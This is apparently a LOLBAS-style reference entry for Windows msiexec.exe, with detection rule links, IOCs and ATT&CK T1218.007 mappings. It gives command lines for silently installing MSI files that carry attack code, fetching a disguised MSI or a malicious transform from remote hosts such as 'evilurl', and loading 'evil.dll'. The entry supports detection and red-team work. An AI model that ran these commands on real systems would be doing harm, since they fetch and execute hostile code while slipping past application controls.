# .. /Msiexec.exe

Execute (DLL)

Used by Windows to execute msi files

#### Paths:

C:\Windows\System32\msiexec.exe C:\Windows\SysWOW64\msiexec.exe

### Resources:

- https://pentestlab.blog/2017/06/16/applocker-bypass-msiexec/
- <a href="https://twitter.com/PhilipTsukerman/status/992021361106268161">https://twitter.com/PhilipTsukerman/status/992021361106268161</a>
- https://badoption.eu/blog/2023/10/03/MSIFortune.html

#### **Acknowledgements:**

- netbiosX (<u>@netbiosX</u>)
- Philip Tsukerman (<u>@PhilipTsukerman</u>)

#### **Detections:**

Sigma:

https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process\_creation/proc\_creation\_win\_msiexec\_web\_install.yml

Sigma:

https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process\_creation/proc\_creation\_win\_msiexec\_masquerading.yml

• Elastic: https://github.com/elastic/detection-

rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense\_evasion\_network\_connection\_f rom\_windows\_binary.toml

Splunk:

https://github.com/splunk/security\_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/uninstall\_app\_using\_msiexec.yml

IOC: msiexec.exe retrieving files from Internet

## **Execute**

Installs the target .MSI file silently.

msiexec /quiet /i cmd.msi

**Use case:** Execute custom made msi file with attack code

Privileges required: User

Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique: T1218.007

. Installs the target remote & renamed .MSI file silently.

msiexec /q /i http://192.168.100.3/tmp/cmd.png

**Use case:** Execute custom made msi file with attack code from remote server

Privileges required: User

Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique: T1218.007

Calls DllRegisterServer to register the target DLL.

msiexec /y "C:\folder\evil.dll"

Use case: Execute dll files

Privileges required: User

Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique: T1218.007

Tags: Execute: DLL

. Calls DllUnregisterServer to un-register the target DLL.

msiexec /z "C:\folder\evil.dll"

**Use case:** Execute dll files

Privileges required: User

Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique: T1218.007

Tags: Execute: DLL

Installs the target .MSI file from a remote URL, the file can be signed by vendor. Additional to the file a transformation file will be used, which can contains malicious code or binaries. The /gb will skip user input.

msiexec /i "https://trustedURL/signed.msi" TRANSFORMS="https://evilurl/evil.mst" /qb

**Use case:** Install trusted and signed msi file, with additional attack code as transformation file, from a

remote server

Privileges required: User

Operating systems: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique: T1218.007